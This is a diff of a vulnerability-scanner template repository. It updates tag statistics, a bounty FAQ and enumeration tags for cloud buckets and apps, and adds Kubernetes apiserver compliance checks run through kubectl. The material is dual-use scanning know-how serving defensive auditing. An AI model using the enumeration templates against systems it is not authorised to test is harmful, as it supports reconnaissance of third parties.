-| wordpress |   409 | geeknik       |   187 | exposures        |   254 | low      |   211 |         |       |
-| exposure  |   360 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
-| cve2021   |   324 | 0x_akoko      |   157 | misconfiguration |   210 |          |       |         |       |
-| rce       |   319 | princechaddha |   149 | workflows        |   187 |          |       |         |       |
-| wp-plugin |   304 | pussycat0x    |   130 | default-logins   |   102 |          |       |         |       |
-| tech      |   286 | gy741         |   126 | file             |    76 |          |       |         |       |
+|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
 
-**286개 디렉토리, 4012개 파일**.
+**848개 디렉토리, 11344개 파일**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3330},{"name":"panel","count":1349},{"name":"xss","count":1249},{"name":"wordpress","count":1189},{"name":"exposure","count":1114},{"name":"wp-plugin","count":1038},{"name":"osint","count":841},{"name":"tech","count":811},{"name":"rce","count":796},{"name":"lfi","count":779},{"name":"misconfig","count":763},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":586},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"detect","count":517},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"cve2023","count":492},{"name":"sqli","count":489},{"name":"cve2024","count":476},{"name":"login","count":464},{"name":"unauth","count":445},{"name":"authenticated","count":431},{"name":"intrusive","count":412},{"name":"kev","count":392},{"name":"file","count":379},{"name":"oast","count":291},{"name":"default-login","count":282},{"name":"cve2020","count":279},{"name":"config","count":258},{"name":"token-spray","count":247},{"name":"apache","count":246},{"name":"microsoft","count":241},{"name":"top-200","count":235},{"name":"network","count":233},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":206},{"name":"auth-bypass","count":193},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":187},{"name":"cve2018","count":187},{"name":"iot","count":186},{"name":"cve2019","count":183},{"name":"code","count":181},{"name":"amazon","count":175},{"name":"cve2025","count":167},{"name":"install","count":167},{"name":"redirect","count":159},{"name":"keys","count":157},{"name":"ssrf","count":153},{"name":"tcp","count":152},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":124},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"seclists","count":86},{"name":"privesc","count":84},{"name":"js","count":83},{"name":"takeover","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":76},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":70},{"name":"adobe","count":66},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"detection","count":60},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"php","count":52},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":50},{"name":"ssti","count":49},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"plugin","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"miscellaneous","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"api","count":41},{"name":"sap","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"cti","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"ftp","count":32},{"name":"graphql","count":32},{"name":"yonyou","count":32},{"name":"osint-tech","count":31},{"name":"printer","count":31},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"compliance","count":31},{"name":"tomcat","count":30},{"name":"ec2","count":30},{"name":"alibaLine truncated
+{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3330 | dhiyaneshdk   |  1871 | http       |  9035 | info     |  4236 | file |   436 |
-| panel     |  1349 | daffainfo     |   868 | cloud      |   657 | high     |  2486 | dns  |    26 |
-| xss       |  1249 | princechaddha |   854 | file       |   436 | medium   |  2387 |      |       |
-| wordpress |  1189 | dwisiswant0   |   806 | code       |   249 | critical |  1444 |      |       |
-| exposure  |  1114 | ritikchaddha  |   658 | dast       |   238 | low      |   322 |      |       |
-| wp-plugin |  1038 | pussycat0x    |   546 | workflows  |   203 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   151 |          |       |      |       |
-| tech      |   811 | pdteam        |   310 | javascript |    78 |          |       |      |       |
-| rce       |   796 | pdresearch    |   271 | ssl        |    38 |          |       |      |       |
-| lfi       |   779 | iamnoooob     |   259 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

Templates-Bounty-FAQ.md

@@ -1,6 +1,6 @@
-# Nuclei Templates Community Rewards Program - FAQ
+# Nuclei Templates Bounty - FAQ
 
-## What is the purpose of this rewards program?
+## What is the purpose of this bounty program?
 The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
 
 ## What are the bounty ranges for template submissions?
@@ -10,12 +10,17 @@ Bounties range from **$50 to $250**, depending on the complexity of the template
 Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
 
 ## What is the acceptance criteria for templates?
+The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
+
 Templates must meet the following criteria:
 1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
-2. **Debug Data**: Include debug data to assist with template validation.
-3. **Validation Required**: The template will be reviewed and validated before rewards are given.
-4. **Accurate Matchers**: Use strong matchers to avoid false positives.
-> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined.
+2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
+3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
+4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
+5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
+6. **Accurate Matchers**: Use strong matchers to avoid false positives.
+
+> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
 
 ## How do I start working on a bounty issue?
 1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
@@ -65,7 +70,7 @@ Templates may be rejected if they:
 Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
 
 ## Is this program permanent?
-The rewards program is currently a test run, but we may make changes based on community feedback.
+The bounty program is currently a test run, but we may make changes based on community feedback.
 
 ## What additional rewards are available besides bounties?
 Beyond bounties, we also reward contributors with:

cloud/enum/aws-app-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,cloud-enum,aws
+  tags: cloud,enum,cloud-enum,aws,discovery
 
 self-contained: true
 
@@ -34,4 +34,4 @@ http:
           - 200
           - 302
         condition: or
-# digest: 4a0a0047304502202b00629a52cbcc198e7d34d2b64cb589c7f1e3656d03bf8c2c83b46cb0cd93bc022100dd71dc5ea04e3d278424d15691609e6c3a3967ba614fc43af74f11911acc25a1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c72eb76f5a040d1b24e529a3f41d00e23912cbf1a822f0bbc1b70de50fb93cbc022100d1bee6e4d2cdaf0c30963a746715395fc4438d47e6ed5b19f3113ba7f5d32bef:922c64590222798bb761d5b6d8e72950

cloud/enum/aws-s3-bucket-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,cloud-enum,aws
+  tags: cloud,enum,cloud-enum,aws,discovery
 
 self-contained: true
 
@@ -38,4 +38,4 @@ http:
         name: "Protected AWS S3 Bucket"
         status:
           - 403
-# digest: 490a00463044022042762e76cd970a173e2b6ebcdb6b5eb7a50dee876ca17dc086869e49cb7a0918022074319bef7221719f2a0af22f125dfe951d2bd8caa49399e5e9d0e703a7eac74e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022040330052e09b20ab8d7ce1876fa078a1d9561e6f80c536d599acbd71957fd618022100ee73a27026a07d4ee42e6f938ec0799946111aa9c771840ca9bbd22324910300:922c64590222798bb761d5b6d8e72950

cloud/enum/azure-db-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,cloud-enum,azure,dns
+  tags: cloud,enum,cloud-enum,azure,dns,discovery
 
 self-contained: true
 
@@ -29,4 +29,4 @@ dns:
         part: answer
         words:
           - "IN\tA"
-# digest: 4a0a00473045022100996d1a8d7019d1d042888717ee86616809f7ccea1ef47eb0aaaa0e2416b874300220085a76c67e4cd35b6d3a6ce40b9923c00f76857411201bb5d2fe81e195cefb7e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a96a380a899cf2a5b297c97255b60a4badc8e2308c09cd4c276df94752197b71022100fde30e503e271d8078b6bed2a5320912aa65e20e4df8fc84cbc9cd7de415774a:922c64590222798bb761d5b6d8e72950

cloud/enum/azure-vm-cloud-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,cloud-enum,azure,fuzz,enum,dns
+  tags: cloud,cloud-enum,azure,fuzz,enum,dns,discovery
 
 self-contained: true
 
@@ -63,4 +63,4 @@ dns:
         part: answer
         words:
           - "IN\tA"
-# digest: 4a0a0047304502204d0fc3b9fa192c08f976d00ea8d644b1536049eae245faafd029f246da8e6b1d022100e3a584da363f2d1960192fd6660b09e70c6c9718644931fead2972ed32d5b6ee:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022032a541f5ba8267dc858da6b4bfedc88f03d5f99bd2b94c008e12123d0b532461022058bc8dfa894c8904f459774f9516ba5feacc00d91d50d39659e73a3bb0680a09:922c64590222798bb761d5b6d8e72950

cloud/enum/azure-website-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,azure
+  tags: cloud,enum,azure,discovery
 
 self-contained: true
 
@@ -34,4 +34,4 @@ http:
           - 200
           - 302
         condition: or
-# digest: 490a004630440220126c63ac565607c646bd1900a65df995c60286fc15c2b779797206c86f0873880220068e36f8ca880bf0632051bb1e4bea5e97a012243737da3b48ee063e6ccac964:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220350306ed3cf366bf163000ac7fcd37ab19ac059636a5fab0deda3b351f1e11e4022039941af02eed8b6659c4933581bc2afb4213c1d8f3451b551c79954015f0da1a:922c64590222798bb761d5b6d8e72950

cloud/enum/gcp-app-engine-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery
 
 self-contained: true
 
@@ -40,4 +40,4 @@ http:
           - "status_code==302"
           - contains(location, "login")
         condition: and
-# digest: 4b0a00483046022100fce31a63aab6e8bcaf7cb16745a7d23c0e735104e0b6ff47a0c77e2561e4cb4b022100853c57600af362b2fa7bd3e6551df494fa81dd043de250b32406130b65b183da:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b7ca6a5620e553021c93b3a71a9afb91726a420ca8cbe42fe1b43debb214b2600221009f199a7494eab9c50e752fa60040ebaf0831b622d5734eb8b3c1d4bf9cb971d4:922c64590222798bb761d5b6d8e72950

cloud/enum/gcp-bucket-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,cloud-enum,gcp
+  tags: cloud,enum,cloud-enum,gcp,discovery
 
 self-contained: true
 
@@ -37,4 +37,4 @@ http:
         name: "Protected GCP Bucket"
         status:
           - 403
-# digest: 490a0046304402201c96ae60fa7a4b6502e37d1f0a368a06326c5d1c0621e333e1baa733a42b1a4902207412bf98d7e4aaf9b755810b30bda7827b495eae85a5607855376c0a1e1d8ab1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f0faf908cbb5f61d20b65f332ad44de601d17049e4cf11b1859b65769a191e09022100c2e00fcfcd4e31c19378a99d4c2e11dd14993b4ccc6cb2b5a66668a2cb4b6f09:922c64590222798bb761d5b6d8e72950

cloud/enum/gcp-firebase-app-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery
 
 self-contained: true
 
@@ -32,4 +32,4 @@ http:
         name: "Open GCP Firebase App"
         status:
           - 200
-# digest: 4b0a00483046022100d46b37e833fc0fb66e93b0fd4bf7753abe3ff075eeae2735f79e09850585f7a902210081119295893a854aa69d6403778a3dd8818cd265412c0089391bdd5cf185fcb7:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d3c102572e65c69544af4d0472c1e5063d3faa67e07f8c41b9c23c67d3072d502205197c08d89064af55aba6c334c905ed0545b210f4ab2fb79bcbee3f40e5a46da:922c64590222798bb761d5b6d8e72950

cloud/enum/gcp-firebase-rtdb-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery
 
 self-contained: true
 
@@ -48,4 +48,4 @@ http:
         name: "Deactivated GCP Firebase RTDB"
         status:
           - 423
-# digest: 4a0a0047304502200fd19c4d2057f25272d37b7df6c1c910f3490fd6beda49f493f4f9daa8d697960221008d426fd69d100daf3ea7af86fb08be3d60d1ed8e505f0df50298aa7155e7a10c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b6b2896f4ce1e6a9837be3607a820f1bb941f25bde1af51e9660f64416928fe4022100e967115e55f332bf5b90d6801318bdf25c8c15edb0b4367bc61e2fb618e5381c:922c64590222798bb761d5b6d8e72950

cloud/gcp/dns/gcloud-dns-dangling-records.yaml

@@ -12,7 +12,7 @@ info:
     Regularly audit your DNS records and associated IP addresses. Remove any DNS records that point to IP addresses no longer reserved under your Google Cloud account.
   reference:
     - https://cloud.google.com/dns/docs
-  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
 
 flow: |
   code(1)
@@ -88,4 +88,4 @@ code:
       - type: dsl
         dsl:
           - '"Dangling DNS Record: Type: " + recordType + " Data: " + recordData + " in Zone: " + managedZone + " of Project: " + projectId'
-# digest: 490a0046304402202c5b70acf82fe3e4dbbdf2f4205f693e25cfafc642d5bc9c5b661b7685fcf2ee022032f7c3bd76089463d4bde9e6e4d9de7c25ffc32592167725b57b5ecf86d12e39:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204272ac41efa35729e016879c17d50d03f4b6ac55bfb4f8f44988453124e52510022100fa6369224c1eeb6551e2601a926be5495112c2ec965403dd2f0303907a37bfcd:922c64590222798bb761d5b6d8e72950

cloud/gcp/dns/gcloud-dns-dnssec-unenabled.yaml

@@ -12,7 +12,7 @@ info:
     Enable DNSSEC for each Google Cloud DNS managed zone through the Google Cloud Console or using the `gcloud dns managed-zones update` command with the `--dnssec-state=on` flag.
   reference:
     - https://cloud.google.com/dns/docs/dnssec
-  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
 
 flow: |
   code(1)
@@ -69,4 +69,4 @@ code:
       - type: dsl
         dsl:
           - '"DNSSEC not enabled for Managed Zone: " + managedZoneName + " in Project: " + projectId'
-# digest: 4a0a00473045022100a63467b5c1df819e70daa1a522e5d82b1ebf323053c6059515d504ba3b21a7440220585e48a1e6f01417b987f45713c14ed23a02dcd48f34715a0a31287678703e63:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220216452864fd498a37ca7126a7ac05c8ed4ef12e0ac61c64859e224448acedd6e022100a55e457f728bd9ecc9c5827ef7ae05c82e881f7b30df22fb18edd2b3c231a9d6:922c64590222798bb761d5b6d8e72950

cloud/gcp/dns/gcloud-dnssec-keysigning-rsasha1.yaml

@@ -12,7 +12,7 @@ info:
     Update the DNSSEC configuration for each DNS managed zone to use more secure algorithms like RSASHA256 or ECDSAP256SHA256 for the Key-Signing Key (KSK).
   reference:
     - https://cloud.google.com/dns/docs/dnssec-config
-  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
 
 flow: |
   code(1)
@@ -69,4 +69,4 @@ code:
       - type: dsl
         dsl:
           - '"Deprecated RSASHA1 algorithm found in DNS managed zone: " + managedZone + " in Project: " + projectId'
-# digest: 4a0a00473045022100f1fba22253f98b9a21cc53aa6992c05c36ec882ebaee328c6b76b5ac3c5688b402206dcf925a8f866fe1240ba4fe8c20b80730229c5443fc645041aa23c0c3ca6758:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f824e7dde9600cd968137f059bb4796dabfa7cc877e9f5de277b66e0312ec234022028c76505257d8f5ad46be0313ef6d52e7f02f5f3dbcc0feb1f2052d7bd6b7a90:922c64590222798bb761d5b6d8e72950

cloud/gcp/dns/gcloud-dnssec-zonesigning-rsasha1.yaml

@@ -12,7 +12,7 @@ info:
     Update the DNSSEC configuration to use a stronger, more secure signing algorithm like RSASHA256 or ECDSAP256SHA256 for your DNS managed zones.
   reference:
     - https://cloud.google.com/dns/docs/dnssec-configuring
-  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
 
 flow: |
   code(1)
@@ -71,4 +71,4 @@ code:
       - type: dsl
         dsl:
           - '"Deprecated RSASHA1 Algorithm used in DNSSEC for Managed Zone: " + managedZoneName + " in Project: " + projectId'
-# digest: 4b0a00483046022100cb8b9fff2868480c6af2ad01eab469aae458e9d9bab3eff9a7e58b2bcf36d7c7022100d6a35be3a70ec1ae8d2e5abf280603f6b3c1a64e1e2fd5ae89bd0d281d4dda56:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b162de9f0763eea4bcf9aa7277cb7298115a69682615a41e7680619b3f5e6a7d022070379ac61ebd9acdcdc3b5a15333969a2b443bd656f0dde2d86cefb9a38155c1:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-apiserver-anonymous-access.yaml

@@ -0,0 +1,45 @@
+id: k8s-apiserver-anonymous-access
+
+info:
+  name: Ensure kube-apiserver --anonymous-auth is explicitly disabled
+  author: songyaeji
+  severity: high
+  description: Checks whether kube-apiserver explicitly sets --anonymous-auth=false in its startup arguments.
+  impact: |
+    If --anonymous-auth is not explicitly disabled, anonymous unauthenticated requests might be allowed,
+    enabling unauthenticated access to cluster resources.
+  remediation: |
+    Edit the kube-apiserver manifest (e.g., /etc/kubernetes/manifests/kube-apiserver.yaml) or startup flags
+    and ensure "--anonymous-auth=false" is present in the apiserver arguments.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
+  tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
+
+variables:
+  argument: "--anonymous-auth=false"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
+      kubectl get pods -n kube-system -l k8s-app=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
+      kubectl get pods -n kube-system -o jsonpath="{.items[?(@.metadata.name.indexOf('kube-apiserver')>=0)].spec.containers[*].command}" 2>/dev/null || \
+      echo ""
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-apiserver'
+      - type: word
+        words:
+          - "{{argument}}"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-apiserver configuration does not explicitly set " + argument + ". This may allow anonymous access."'
+# digest: 4a0a00473045022100d0c4bd2d21dce35e0c47b2d42500b6f9db81b0b3e5c5f7c27969c09297fa84110220190d2e14c1518c8cd02de2d1b1db103825aaf277c283bf400106ca9250da7f32:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-apiserver-token-auth-file.yaml

@@ -0,0 +1,43 @@
+id: k8s-apiserver-token-auth-file
+
+info:
+  name: Detect kube-apiserver --token-auth-file usage
+  author: songyaeji
+  severity: high
+  description: Detects whether kube-apiserver includes the --token-auth-file startup argument.
+  impact: |
+    If the API server is started with --token-auth-file, static token file authentication may be allowed, which can enable long-lived or poorly managed tokens and weaken cluster authentication posture.
+  remediation: |
+    Remove the --token-auth-file argument from the kube-apiserver startup flags (e.g., edit
+    /etc/kubernetes/manifests/kube-apiserver.yaml) or ensure any tokens in that file are rotated
+    and managed securely. Prefer dynamic, short-lived service account tokens and RBAC.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
+  tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
+
+variables:
+  argument: "--token-auth-file"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-apiserver'
+
+      - type: word
+        words:
+          - "{{argument}}"
+
+    extractors:
+      - type: dsl
+        dsl:
